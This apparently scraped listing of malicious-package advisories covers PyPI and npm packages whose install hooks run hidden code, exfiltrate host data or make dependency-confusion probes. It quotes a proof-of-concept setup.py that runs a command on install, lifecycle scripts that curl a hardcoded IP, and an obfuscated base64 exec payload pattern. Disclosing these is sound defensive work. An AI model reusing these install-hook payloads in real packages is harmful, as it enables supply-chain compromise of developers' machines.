CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

CVE-2026-21016 – Malicious PyPI Package Install Hook setup.py Execution Program Code Python setup.py - Malicious package that executes during install from setuptools import setup import os This runs on pip install os.system'id /tmp/pwnedbypackage' setup name='harmless-pkg', version='1.0',...

Malicious code in semveer (PyPI)

Source: amazon-inspector d86237b957fd063a0e1fcf250a510b2fb9566ab48652e56fe787d2e1a02e351a The sdist for 'semveer' ships an inert module semveer/init.py contains only a version stub and places all runtime behavior inside setup.py's install hook. On pip install, setup.py calls...

Malicious code in semveer (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d86237b957fd063a0e1fcf250a510b2fb9566ab48652e56fe787d2e1a02e351a The sdist for 'semveer' ships an inert module semveer/init.py contains only a version stub and places all runtime behavior inside setup.py's install...

MAL-2026-18102 Malicious code in semveer (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d86237b957fd063a0e1fcf250a510b2fb9566ab48652e56fe787d2e1a02e351a The sdist for 'semveer' ships an inert module semveer/init.py contains only a version stub and places all runtime behavior inside setup.py's install...

MAL-2026-16413 Malicious code in @tvg-mar/promos-gtm (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c4ce7a8a15cabec2c11f60085a7b3bac2cc905ef037e5ce28d6dd3dd847ef28 @tvg-mar/[email protected] executes an out-of-band DNS exfiltration routine both at install time via a scripts.install hook running node index.js and...

Malicious code in test1df23 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67708642854d76da722a8130de47a8fb7fd23f0035cf646f1bf16d97419e5756 package.json declares preinstall and postinstall hooks that execute index.js on npm install. index.js issues an HTTP GET to the hardcoded bare IP...

Malicious code in claude-channel-discord (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40db25d41cbf34007ee5be9e31462d8346c3ec51dcb5b72160e76739aaedf4ad [email protected] is a dependency-confusion probe. package.json declares preinstall and postinstall hooks node index.js --save-prod and a...

Malicious code in uvhttp-custom (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf8bf69e0edd8a79c920c35d2c49e722b38d801c07401dfb673bdb1beb6ea3fc setup.py contains an obfuscated payload of the form lambda : execimport'base64'.b64decode'...'.decodeNone alongside an otherwise-benign setuptools...

MAL-2026-15863 Malicious code in uvhttp-custom (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf8bf69e0edd8a79c920c35d2c49e722b38d801c07401dfb673bdb1beb6ea3fc setup.py contains an obfuscated payload of the form lambda : execimport'base64'.b64decode'...'.decodeNone alongside an otherwise-benign setuptools...

MAL-2026-15809 Malicious code in tallyboxlite (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 960a6b94c28c7be92373f0f2125106f8e6d0d500a5ca3988292e2bd7e189033c Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Malicious code in auth-app-streamlit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 9662b50ee4db956c8a7ec0bd4e1c9842f709ab2d5d181c325702c727e9e8a199 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Malicious code in flyteplugins-agento11y (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 46ad72ab2f7b1b228296686a3090c2c81be3a2257b47fa801b300c1f7b66c09a Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Malicious code in mathkitlite (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 c91a8962fd66464487bcdb5e2c217990cfdea55df22e7166c11703f91dfb7845 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Malicious code in 0xfighter3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 5a97978609c71d681a69a2da613c5e52b257a2062d7805b8db25243db50ff36f Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

MAL-2026-14525 Malicious code in 0xfighter3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 5a97978609c71d681a69a2da613c5e52b257a2062d7805b8db25243db50ff36f Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

MAL-2026-14400 Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

Malicious code in @usaa-grp-personal-profile/personal-profile-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de7570e75b52c8d98aef5a71ab1b1183991359e7e3e1864befba58a9f5ca630a Package published to public npm under an internal-looking scope @usaa-grp-personal-profile at version 999.0.0, a shape consistent with...

MAL-2026-14370 Malicious code in @usaa-grp-personal-profile/personal-profile-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de7570e75b52c8d98aef5a71ab1b1183991359e7e3e1864befba58a9f5ca630a Package published to public npm under an internal-looking scope @usaa-grp-personal-profile at version 999.0.0, a shape consistent with...

Malicious Package

Overview reaker is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package. Attack Vector...

Malicious Package

Overview joxn is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package. Attack Vector T...